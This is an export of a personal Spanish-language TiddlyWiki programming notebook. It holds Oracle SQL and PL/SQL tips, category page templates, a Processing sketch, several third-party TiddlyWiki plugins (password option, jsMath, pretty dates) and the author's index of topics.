* Creación de un usuario
{{{
create user "<NOMBRE_USUARIO>" identified by "<NOMBRE_USUARIO>"
default tablespace <NOMBRE_TABLESPACE>
temporary tablespace TEMP;
}}}
* Suma acumulada: En vez de sumar todas las filas y devolver un único resultado, se pueden sumar todas las filas anteriores y devolver un resultado por fila, calculando así totales acumulados, gracias a la siguiente función:
{{{
SUM (columna) OVER (particion)
}}}
Ejemplo:
{{{
select id, sueldo, SUM(sueldo) OVER (order by id)
from empleados
}}}
Más información aquí: http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/functions163.htm
* Extraer partes de una fecha: Se utiliza la función {{{extract (<parte> from fecha)}}}. Más información: http://download.oracle.com/docs/cd/B19306_01/server.102/b14200/functions050.htm#SQLRF00639 Por ejemplo, para extraer el año actual:
{{{
select extract(YEAR from sysdate) from dual
}}}
* Búsqueda con expresiones regulares en PL/SQL. Se puede usar la función {{{REGEXP_LIKE('texto', 'regexp')}}}. Ejemplo:
{{{
DECLARE
names VARCHAR2(60) := 'Anna,Matt,Joe,Nathan,Andrew,Jeff,Aaron';
names_adjusted VARCHAR2(61);
comma_delimited BOOLEAN;
BEGIN
--Look for the pattern
comma_delimited := REGEXP_LIKE(names,'^([a-z A-Z]*,)+([a-z A-Z]*){1}$');
--Display the result
DBMS_OUTPUT.PUT_LINE(
CASE comma_delimited
WHEN true THEN 'We have a delimited list!'
ELSE 'The pattern does not match.'
END);
END;
}}}
* Arrays: Un array se declara así:
{{{
TYPE v_array IS TABLE OF VARCHAR2 INDEX BY BINARY_INTEGER;
}}}
Después se podrían rellenar los datos de la siguiente manera:
{{{
array(1) := 'Primer valor';
}}}
* ''CUIDADIN:'' Para hacer un select desde una función o procedimiento almacenado sobre una tabla de otro esquema, no basta con tener permisos de un rol que incluya select a esa tabla, si no que debe otorgarse específicamente el permiso al usuario.
* ''Reemplazar una cadena de texto en múltiples filas:''
{{{
UPDATE <NOMBRE_TABLA> <alias> SET
alias.columna = REPLACE (alias.columna, 'Cadena a buscar','Cadena de sustitución');
}}}
!Enlaces interesantes
* Oracle Database SQL Quick Reference: http://download.oracle.com/docs/cd/B19306_01/server.102/b14195/toc.htm/
* Referencia de funciones: http://download.oracle.com/docs/cd/B19306_01/server.102/b14195/sqlqr02.htm#i83304
* Biblioteca técnica de Oracle: http://tahiti.oracle.com
* Funciones analíticas: http://download-east.oracle.com/docs/cd/B19306_01/server.102/b14223/analysis.htm
* Fragmentos de SQL y recetas: http://sqlzoo.net/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Los campos numéricos separados por puntos, comas, guiones o lo que sea son complicados de ordenar. [[Oracle]] hace una ordenación de texto, con lo que una entrada con el valor "11.Y.Z" saldrá antes que una entrada "2.Y.Z".
¿La solución? Descomponer el campo en partes gracias a las expresiones regulares, y ordenar cada parte consecutivamente. Por ejemplo, si tenemos un campo llamado {{{codigo}}} con los valores {{{'1.2.1'}}}, {{{'1.1'}}}, {{{'1.1.1'}}} y {{{'1.11'}}}, la forma de ordenarlos sería añadir el siguiente {{{ORDER BY}}}:
{{{
ORDER BY TO_NUMBER (REGEXP_SUBSTR (codigo, '[0-9]+', 1, 1)),
TO_NUMBER (REGEXP_SUBSTR (codigo, '[0-9]+', 1, 2)),
TO_NUMBER (REGEXP_SUBSTR (codigo, '[0-9]+', 1, 3))
}}}
En caso de que el campo pudiera tener más subcampos (por ejemplo, existiera un valor del tipo {{{1.2.3.4}}}), tan solo habría que añadir una nueva línea con el último parámetro incrementado una unidad.
Nótese también que da igual lo que separe los números, el separador puede ser un punto, una coma, varios guiones... La función lo que hace es buscar los campos numéricos.
!Más información
http://kr.forums.oracle.com/forums/thread.jspa?messageID=3487574
!Descripción
Apuntes sobre diversos lenguajes [[compilados|Compilado]] que no tienen tienen cabida en otras secciones ni extensión suficiente como para tener su propia categoría. Conforme se vayan creando más páginas sobre estos lenguajes, se irán moviendo a subcategorías nuevas.
!Apuntes rápidos
*
!Enlaces interesantes
* Clojure (funcional sobre JVM): http://clojure.org/
* Haskell: http://book.realworldhaskell.org/read/
* C# para programadores Java: http://mundogeek.net/archivos/2009/05/08/introduccion-a-c-para-programadores-java/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
tag:[[Compilado]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
tag:[[Compilado]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre diversos lenguajes de [[Script]] que no tienen tienen cabida en otras secciones ni extensión suficiente como para tener su propia categoría. Conforme se vayan creando más páginas sobre estos lenguajes, se irán moviendo a subcategorías nuevas.
!Apuntes rápidos
*
!Enlaces interesantes
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
tag: [[Script]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre SQL en diversos sistemas de bases de datos
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre PHP.
!Apuntes rápidos
*
!Enlaces interesantes
* Tutorial Rápido: http://mundogeek.net/archivos/2009/11/26/tutorial-rapido-de-php/
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Introducción al lenguaje PL/SQL
!! Elementos del lenguaje
!!! Comentarios:
* ''Comentario de línea:''
{{{
-- Comentario de línea
}}}
* ''Comentario de varias líneas:''
{{{
/*
Comentario
de varias
líneas
*/
}}}
!!! Declaración de variables:
* Se declaran de forma similar a la definición del tipo de una columna en un {{{CREATE TABLE}}}.
* Ejemplo de declaración de variable:
{{{
texto VARCHAR2(20);
}}}
* [[TiposVariablesPlSql]]
/***
Dibuja puntos:
<<Processing>>
***/
//{{{
color fgColor = color(255);
color bgColor = color(102);
color[] colors = {
color(255, 0, 0),
color(255, 255, 0),
color(0, 255, 0),
color(0, 255, 255),
color(0, 0, 255),
color(255, 0, 255),
color(0, 0, 0),
color(255, 255, 255)
};
int counter = 0;
int s = 300;
int w;
int h;
void setup() {
size(s, s);
background(bgColor);
counter = 0;
w = s/colors.length;
h = w / 2;
}
void draw() {
drawBoxes();
//Draw lines
stroke(fgColor);
if(mousePressed) {
if (mouseY >= (s-h)) {
fgColor = colors[int(mouseX/w)];
} else {
line(mouseX, mouseY, pmouseX, pmouseY);
}
/*
if (counter < colors.length-1) {
counter++;
}else{
counter = 0;
}
fgColor = colors[counter];
*/
}
}
void drawBoxes()
{
//Draw fixed color boxes
for (int i = 0; i < colors.length; i++) {
fill(colors[i]);
stroke(colors[i]);
rect(w*i, s-h, w, h);
}
fill(fgColor);
stroke(fgColor);
rect(0,0,w,h);
noFill();
}
//}}}
!Descripción
Apuntes sobre paralelismo y concurrencia
!Apuntes rápidos
* Tutorial de MPI: http://basor.fcqb.uasnet.mx/tutmpi.html
* Tutoriales de MPI y clusters: http://www.eead.csic.es/compbio/material/intensiva/intensiva.html
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
Una partición es una forma de trabajar con un conjunto de datos de una tabla en vez de trabajar con la tabla entera, lo que aumenta considerablemente la eficiencia y eficacia de las consultas más complejas.
Una carencia un tanto molesta de PL/SQL es la ausencia de funciones para partir cadenas de texto, de una forma similar a como se haría con un {{{String.split()}}} en [[Java]].
La siguiente función cubre esta carencia. Acepta 2 parámetros obligatorios y uno opcional. El primer parámetro es la cadena de texto con una lista delimitada por separadores. El segundo parámetro es el número de elemento, empezando en 1, que se desea extraer. Por último se le puede pasar opcionalmente un último parámetro con la cadena de texto que delimitadora (por defecto es '{{{,}}}')
Código fuente:
{{{
CREATE OR REPLACE FUNCTION Get_Token (
the_list VARCHAR2,
the_index NUMBER,
delim VARCHAR2 := ','
)
RETURN VARCHAR2
IS
start_pos NUMBER;
end_pos NUMBER;
/*
Extrae un elemento de una lista separada por un delimitador
Ejemplos de uso:
get_token('foo,bar,baz',1), -- 'foo'
get_token('a,,b',2), -- ''
get_token('a|b|c',2,'|'), -- 'b'
get_token('a|b|c',4,'|'), -- ''
get_token('foo,bar,baz',-1), -- 'baz'
*/
BEGIN
IF the_index = 1
THEN
start_pos := 1;
ELSIF the_index < 0
THEN
start_pos := INSTR (the_list, delim, -1, ABS (the_index)) + 1;
ELSE
start_pos := INSTR (the_list, delim, 1, the_index - 1);
IF start_pos = 0
THEN
RETURN NULL;
ELSE
start_pos := start_pos + LENGTH (delim);
END IF;
END IF;
IF the_index < 0
THEN
end_pos := INSTR (the_list, delim, start_pos + 1, 1);
ELSE
end_pos := INSTR (the_list, delim, start_pos, 1);
END IF;
IF end_pos = 0
THEN
RETURN SUBSTR (the_list, start_pos);
ELSE
RETURN SUBSTR (the_list, start_pos, end_pos - start_pos);
END IF;
END Get_Token;
/
}}}
/***
|''Name:''|PasswordOptionPlugin|
|''Description:''|Extends TiddlyWiki options with non encrypted password option.|
|''Version:''|1.0.2|
|''Date:''|Apr 19, 2007|
|''Source:''|http://tiddlywiki.bidix.info/#PasswordOptionPlugin|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0 (Beta 5)|
***/
//{{{
version.extensions.PasswordOptionPlugin = {
major: 1, minor: 0, revision: 2,
date: new Date("Apr 19, 2007"),
source: 'http://tiddlywiki.bidix.info/#PasswordOptionPlugin',
author: 'BidiX (BidiX (at) bidix (dot) info',
license: '[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D]]',
coreVersion: '2.2.0 (Beta 5)'
};
config.macros.option.passwordCheckboxLabel = "Save this password on this computer";
config.macros.option.passwordInputType = "password"; // password | text
setStylesheet(".pasOptionInput {width: 11em;}\n","passwordInputTypeStyle");
merge(config.macros.option.types, {
'pas': {
elementType: "input",
valueField: "value",
eventName: "onkeyup",
className: "pasOptionInput",
typeValue: config.macros.option.passwordInputType,
create: function(place,type,opt,className,desc) {
// password field
config.macros.option.genericCreate(place,'pas',opt,className,desc);
// checkbox linked with this password "save this password on this computer"
config.macros.option.genericCreate(place,'chk','chk'+opt,className,desc);
// text savePasswordCheckboxLabel
place.appendChild(document.createTextNode(config.macros.option.passwordCheckboxLabel));
},
onChange: config.macros.option.genericOnChange
}
});
merge(config.optionHandlers['chk'], {
get: function(name) {
// is there an option linked with this chk ?
var opt = name.substr(3);
if (config.options[opt])
saveOptionCookie(opt);
return config.options[name] ? "true" : "false";
}
});
merge(config.optionHandlers, {
'pas': {
get: function(name) {
if (config.options["chk"+name]) {
return encodeCookie(config.options[name].toString());
} else {
return "";
}
},
set: function(name,value) {config.options[name] = decodeCookie(value);}
}
});
// need to reload options to load passwordOptions
loadOptionsCookie();
/*
if (!config.options['pasPassword'])
config.options['pasPassword'] = '';
merge(config.optionsDesc,{
pasPassword: "Test password"
});
*/
//}}}
!Temas pendientes
Listado de temas que están a medio terminar:
<<forEachTiddler where ' tiddler.tags.contains("pendiente") || tiddler.tags.contains("incompleto")'>>
!Descripción
Apuntes sobre programación en Perl
!Apuntes rápidos
*
!Enlaces interesantes
* ''Documentación:''
** Documentación oficial: http://perldoc.perl.org/
** Expresiones regulares en Perl 6: http://sites.google.com/site/ramiroencinas/doc/perl6/s05-regex-es
** Diferencias entre Perl 5 y Perl 6: http://sites.google.com/site/ramiroencinas/doc/perl6/diferencias_perl6_perl5
** Variables especiales en Perl: http://www.catonmat.net/blog/perls-special-variable-cheat-sheet/
** Perlmeme: http://perlmeme.org/
** Perl Monks: http://perlmonks.org/index.pl?node=Tutorials
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|Name|Plugin: jsMath|
|Created by|BobMcElrath|
|Email|my first name at my last name dot org|
|Location|http://bob.mcelrath.org/tiddlyjsmath.html|
|Version|1.5.1|
|Requires|[[TiddlyWiki|http://www.tiddlywiki.com]] ≥ 2.0.3, [[jsMath|http://www.math.union.edu/~dpvc/jsMath/]] ≥ 3.0|
!Description
LaTeX is the world standard for specifying, typesetting, and communicating mathematics among scientists, engineers, and mathematicians. For more information about LaTeX itself, visit the [[LaTeX Project|http://www.latex-project.org/]]. This plugin typesets math using [[jsMath|http://www.math.union.edu/~dpvc/jsMath/]], which is an implementation of the TeX math rules and typesetting in javascript, for your browser. Notice the small button in the lower right corner which opens its control panel.
!Installation
In addition to this plugin, you must also [[install jsMath|http://www.math.union.edu/~dpvc/jsMath/download/jsMath.html]] on the same server as your TiddlyWiki html file. If you're using TiddlyWiki without a web server, then the jsMath directory must be placed in the same location as the TiddlyWiki html file.
I also recommend modifying your StyleSheet use serif fonts that are slightly larger than normal, so that the math matches surrounding text, and \\small fonts are not unreadable (as in exponents and subscripts).
{{{
.viewer {
line-height: 125%;
font-family: serif;
font-size: 12pt;
}
}}}
If you had used a previous version of [[Plugin: jsMath]], it is no longer necessary to edit the main tiddlywiki.html file to add the jsMath <script> tag. [[Plugin: jsMath]] now uses ajax to load jsMath.
!History
* 11-Nov-05, version 1.0, Initial release
* 22-Jan-06, version 1.1, updated for ~TW2.0, tested with jsMath 3.1, editing tiddlywiki.html by hand is no longer necessary.
* 24-Jan-06, version 1.2, fixes for Safari, Konqueror
* 27-Jan-06, version 1.3, improved error handling, detect if ajax was already defined (used by ZiddlyWiki)
* 12-Jul-06, version 1.4, fixed problem with not finding image fonts
* 26-Feb-07, version 1.5, fixed problem with Mozilla "unterminated character class".
* 27-Feb-07, version 1.5.1, Runs compatibly with TW 2.1.0+, by Bram Chen
!Examples
|!Source|!Output|h
|{{{The variable $x$ is real.}}}|The variable $x$ is real.|
|{{{The variable \(y\) is complex.}}}|The variable \(y\) is complex.|
|{{{This \[\int_a^b x = \frac{1}{2}(b^2-a^2)\] is an easy integral.}}}|This \[\int_a^b x = \frac{1}{2}(b^2-a^2)\] is an easy integral.|
|{{{This $$\int_a^b \sin x = -(\cos b - \cos a)$$ is another easy integral.}}}|This $$\int_a^b \sin x = -(\cos b - \cos a)$$ is another easy integral.|
|{{{Block formatted equations may also use the 'equation' environment \begin{equation} \int \tan x = -\ln \cos x \end{equation} }}}|Block formatted equations may also use the 'equation' environment \begin{equation} \int \tan x = -\ln \cos x \end{equation}|
|{{{Equation arrays are also supported \begin{eqnarray} a &=& b \\ c &=& d \end{eqnarray} }}}|Equation arrays are also supported \begin{eqnarray} a &=& b \\ c &=& d \end{eqnarray} |
|{{{I spent \$7.38 on lunch.}}}|I spent \$7.38 on lunch.|
|{{{I had to insert a backslash (\\) into my document}}}|I had to insert a backslash (\\) into my document|
!Code
***/
//{{{
// AJAX code adapted from http://timmorgan.org/mini
// This is already loaded by ziddlywiki...
if(typeof(window["ajax"]) == "undefined") {
ajax = {
x: function(){try{return new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{return new ActiveXObject('Microsoft.XMLHTTP')}catch(e){return new XMLHttpRequest()}}},
gets: function(url){var x=ajax.x();x.open('GET',url,false);x.send(null);return x.responseText}
}
}
// Load jsMath
jsMath = {
Setup: {inited: 1}, // don't run jsMath.Setup.Body() yet
Autoload: {root: new String(document.location).replace(/[^\/]*$/,'jsMath/')} // URL to jsMath directory, change if necessary
};
var jsMathstr;
try {
jsMathstr = ajax.gets(jsMath.Autoload.root+"jsMath.js");
} catch(e) {
alert("jsMath was not found: you must place the 'jsMath' directory in the same place as this file. "
+"The error was:\n"+e.name+": "+e.message);
throw(e); // abort eval
}
try {
window.eval(jsMathstr);
} catch(e) {
alert("jsMath failed to load. The error was:\n"+e.name + ": " + e.message + " on line " + e.lineNumber);
}
jsMath.Setup.inited=0; // allow jsMath.Setup.Body() to run again
// Define wikifers for latex
config.formatterHelpers.mathFormatHelper = function(w) {
var e = document.createElement(this.element);
e.className = this.className;
var endRegExp = new RegExp(this.terminator, "mg");
endRegExp.lastIndex = w.matchStart+w.matchLength;
var matched = endRegExp.exec(w.source);
if(matched) {
var txt = w.source.substr(w.matchStart+w.matchLength,
matched.index-w.matchStart-w.matchLength);
if(this.keepdelim) {
txt = w.source.substr(w.matchStart, matched.index+matched[0].length-w.matchStart);
}
e.appendChild(document.createTextNode(txt));
w.output.appendChild(e);
w.nextMatch = endRegExp.lastIndex;
}
}
config.formatters.push({
name: "displayMath1",
match: "\\\$\\\$",
terminator: "\\\$\\\$\\n?", // 2.0 compatibility
termRegExp: "\\\$\\\$\\n?",
element: "div",
className: "math",
handler: config.formatterHelpers.mathFormatHelper
});
config.formatters.push({
name: "inlineMath1",
match: "\\\$",
terminator: "\\\$", // 2.0 compatibility
termRegExp: "\\\$",
element: "span",
className: "math",
handler: config.formatterHelpers.mathFormatHelper
});
var backslashformatters = new Array(0);
backslashformatters.push({
name: "inlineMath2",
match: "\\\\\\\(",
terminator: "\\\\\\\)", // 2.0 compatibility
termRegExp: "\\\\\\\)",
element: "span",
className: "math",
handler: config.formatterHelpers.mathFormatHelper
});
backslashformatters.push({
name: "displayMath2",
match: "\\\\\\\[",
terminator: "\\\\\\\]\\n?", // 2.0 compatibility
termRegExp: "\\\\\\\]\\n?",
element: "div",
className: "math",
handler: config.formatterHelpers.mathFormatHelper
});
backslashformatters.push({
name: "displayMath3",
match: "\\\\begin\\{equation\\}",
terminator: "\\\\end\\{equation\\}\\n?", // 2.0 compatibility
termRegExp: "\\\\end\\{equation\\}\\n?",
element: "div",
className: "math",
handler: config.formatterHelpers.mathFormatHelper
});
// These can be nested. e.g. \begin{equation} \begin{array}{ccc} \begin{array}{ccc} ...
backslashformatters.push({
name: "displayMath4",
match: "\\\\begin\\{eqnarray\\}",
terminator: "\\\\end\\{eqnarray\\}\\n?", // 2.0 compatibility
termRegExp: "\\\\end\\{eqnarray\\}\\n?",
element: "div",
className: "math",
keepdelim: true,
handler: config.formatterHelpers.mathFormatHelper
});
// The escape must come between backslash formatters and regular ones.
// So any latex-like \commands must be added to the beginning of
// backslashformatters here.
backslashformatters.push({
name: "escape",
match: "\\\\.",
handler: function(w) {
w.output.appendChild(document.createTextNode(w.source.substr(w.matchStart+1,1)));
w.nextMatch = w.matchStart+2;
}
});
config.formatters=backslashformatters.concat(config.formatters);
window.wikify = function(source,output,highlightRegExp,tiddler)
{
if(source && source != "") {
if(version.major == 2 && version.minor > 0) {
var wikifier = new Wikifier(source,getParser(tiddler),highlightRegExp,tiddler);
wikifier.subWikifyUnterm(output);
} else {
var wikifier = new Wikifier(source,formatter,highlightRegExp,tiddler);
wikifier.subWikify(output,null);
}
jsMath.ProcessBeforeShowing();
}
}
//}}}
/***
|Name:|PrettyDatesPlugin|
|Description:|Provides a new date format ('pppp') that displays times such as '2 days ago'|
|Version:|1.0 ($Rev: 3646 $)|
|Date:|$Date: 2008-02-27 02:34:38 +1000 (Wed, 27 Feb 2008) $|
|Source:|http://mptw.tiddlyspot.com/#PrettyDatesPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License:|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Notes
* If you want to you can rename this plugin. :) Some suggestions: LastUpdatedPlugin, RelativeDatesPlugin, SmartDatesPlugin, SexyDatesPlugin.
* Inspired by http://ejohn.org/files/pretty.js
***/
//{{{
Date.prototype.prettyDate = function() {
var diff = (((new Date()).getTime() - this.getTime()) / 1000);
var day_diff = Math.floor(diff / 86400);
if (isNaN(day_diff)) return "";
else if (diff < 0) return "in the future";
else if (diff < 60) return "just now";
else if (diff < 120) return "1 minute ago";
else if (diff < 3600) return Math.floor(diff/60) + " minutes ago";
else if (diff < 7200) return "1 hour ago";
else if (diff < 86400) return Math.floor(diff/3600) + " hours ago";
else if (day_diff == 1) return "Yesterday";
else if (day_diff < 7) return day_diff + " days ago";
else if (day_diff < 14) return "a week ago";
else if (day_diff < 31) return Math.ceil(day_diff/7) + " weeks ago";
else if (day_diff < 62) return "a month ago";
else if (day_diff < 365) return "about " + Math.ceil(day_diff/31) + " months ago";
else if (day_diff < 730) return "a year ago";
else return Math.ceil(day_diff/365) + " years ago";
}
Date.prototype.formatString_orig_mptw = Date.prototype.formatString;
Date.prototype.formatString = function(template) {
return this.formatString_orig_mptw(template).replace(/pppp/,this.prettyDate());
}
// for MPTW. otherwise edit your ViewTemplate as required.
// config.mptwDateFormat = 'pppp (DD/MM/YY)';
config.mptwDateFormat = 'pppp';
//}}}
!ATENCIÓN
Wiki antiguo. Ya no lo actualizo más. El nuevo es este:
http://rubenpedia.tiddlyspot.com/
Este wiki queda activo hasta que termine de copiar todos los artículos que faltan. Puede que aquí haya información que aún no haya en el nuevo.
!Presentación
Esto es un cuaderno de notas ''personal''. Eso quiere decir que he ido metiendo lo que me ha parecido o resultado útil con el único fin de tener organizada y accesible toda esta información. En ningún momento he realizado este wiki pensando en una publicación general hacia los demás, ni en que nadie lo visite siquiera, pero como he creído que puede ser útil a más gente, he decidido publicarlo con acceso de sólo lectura.
Para comprender la estructura y la razón de ser de este wiki, imaginen que es como si dejara mi libreta de apuntes sobre la mesa y no me importara que la gente le echara una ojeada. Por lo tanto, todo el que lea esta página debe saber lo siguiente:
# Las notas puede ser confusas, pero yo me entiendo.
# Muchos fragmentos de código y ejemplos pueden estar cogidos de multitud de fuentes publicas y no citadas. Esto es un cuaderno de notas al vuelo, es evidente que no he ido anotando de donde he sacado cada cosa.
# No soy un servicio público: comparto algo que me es útil y puede ser útil a los demás, pero no resuelvo dudas.
# Si hay mucha gente disconforme con lo anterior, volveré el wiki privado y santas pascuas.
# Copia lo que te de la gana y úsalo como más útil te parezca. Eso si, recuerda que no se de donde he sacado algunos fragmentos de código y que hay gente que puede molestarse. Yo no me molestaré.
¡Espero que le sea útil a alguien!
!Acceso rápido
!! Páginas más útiles
<<forEachTiddler
where
'tiddler.tags.contains("utilidades")'>>
!! Tablas
<<forEachTiddler
where
'tiddler.tags.contains("tabla")'>>
!! """URLs útiles"""
* ''Documentación de TiddlyWiki:'' http://tiddlywiki.org/wiki/Main_Page
* ''Ejecuta codigo fuente en varios lenguajes:'' http://codepad.org/
* ''La biblia de las expresiones regulares:'' http://www.regular-expressions.info/posix.html
* ''API de [[Java]] 1.6 (SE):'' http://java.sun.com/javase/6/docs/api/
* ''Referencia de html, css y demás tecnologías web:'' http://w3schools.com
* ''Referencia de tecnologías web:'' http://www.programmableweb.com/reference
* ''Referencia de librerías de [[Python]]:'' http://docs.python.org/library/index.html
* ''Radio online ideal para escuchar mientras programas:'' http://www.rockola.fm/
* ''Aprenda * como si estuviera en primero:'' http://www.tecnun.es/es/recursos/labmat0.html
!Categorias
* [[Programación]]:
** [[FundamentosComputacion]]:
*** [[LenguajesFormales]]
*** [[InteligenciaArtificial]]
**** [[AlgoritmosGeneticos]]
**** [[VisionPorComputador]]
*** [[MetodosYAlgoritmos]]
*** [[ParalelismoConcurrencia]]
** [[IngenieriaSoftware]]
*** [[UML]]
** [[Java]]
*** [[J2SE]]
*** [[J2EE]]
**** [[Struts]]
*** [[J2ME]]
*** [[Ant]]
*** [[LibreriasJava]]
** [[C]]
*** [[C++]]
*** [[LibreriasC]]
** [[SQL]]
*** [[Oracle]]
*** [[OtrosSGBD]]
** [[ProgramaciónWeb]]
*** [[Javascript]]
**** [[LibreriasJavascript]]
*** [[CSS]]
** [[Python]]
*** [[LibreriasPython]]
** [[OtrosLenguajesScript]]
*** [[Groovy]]
*** [[Lua]]
*** [[Processing]]
*** [[PHP]]
*** [[Perl]]
** [[OtrosLenguajesCompilados]]
*** [[Scala]]
*** [[haXe]]
** [[Codificaciones]]
** [[LibreriasMultilenguaje]]
** [[LenguajesMarcado]]
*** [[XML]]
*** [[HTML]]
*** [[LaTeX]]
* [[Android]]
* [[OS]]:
** [[MS-DOS]]
** [[Windows]]
** [[UNIX]]
*** [[Linux]]
**** [[ProgramacionLinux]]
**** [[AdministracionLinux]]
*** [[FreeBSD]]
** [[OtrosSOs]]
* [[Redes]]:
** [[ETHERNET]]
** [[Internet]]
** [[WiFi]]
** [[Seguridad]]
*** [[InyeccionSQL]]
** [[Protocolos]]
*** [[XMPP]]
*** [[IMAP]]
*** [[WSGI]]
* [[Hardware]]:
** [[MantenimientoHardware]]
** [[AdquisicionHardware]]
** [[ConfiguracionHardware]]
* [[Programas]]:
** [[ServiciosOnline]]
** [[ProgramasUtilidades]]
** [[ProgramasRedes]]
*** [[ProgramasInternet]]
*** [[NavegadoresWeb]]
**** [[Firefox]]
*** [[TiddlyWiki]]
** [[ProgramasMultimedia]]
*** [[ProgramasDibujo]]
*** [[ProgramasImagenes]]
*** [[ProgramasVideo]]
*** [[ProgramasSonido]]
*** [[ConversoresMultimedia]]
** [[ProgramasDesarrollo]]
** [[ProgramasInformes]]
*** [[JasperReports]]
** [[ProgramasEmuladores]]
*** [[EmuladoresConsolas]]
**** [[RomJuegos]]
*** [[EmuladoresOrdenadores]]
** [[ProgramasMoviles]]
*** [[ProgramasS60]]
*** [[ProgramasWinCE]]
** [[HomebrewConsolas]]
*** [[HomebrewDS]]
*** [[HomebrewWii]]
*** [[HomebrewGP2X]]
** [[JuegosPC]]
*** [[AbandonePC]]
* [[IngenieriaCiencia]]
** [[Matematicas]]
*** [[Estadistica]]
*** [[CalculoNumerico]]
*** [[AlgebraLineal]]
*** [[MatematicaDiscreta]]
** [[Electronica]]
*** [[ElectronicaDigital]]
*** [[ElectronicaAnalogica]]
*** [[ElectronicaConversores]]
** [[Fisica]]
** [[Meteorologia]]
** [[Quimica]]
** [[Biologia]]
*** [[Botanica]]
*** [[Zoologia]]
** [[Geografia]]
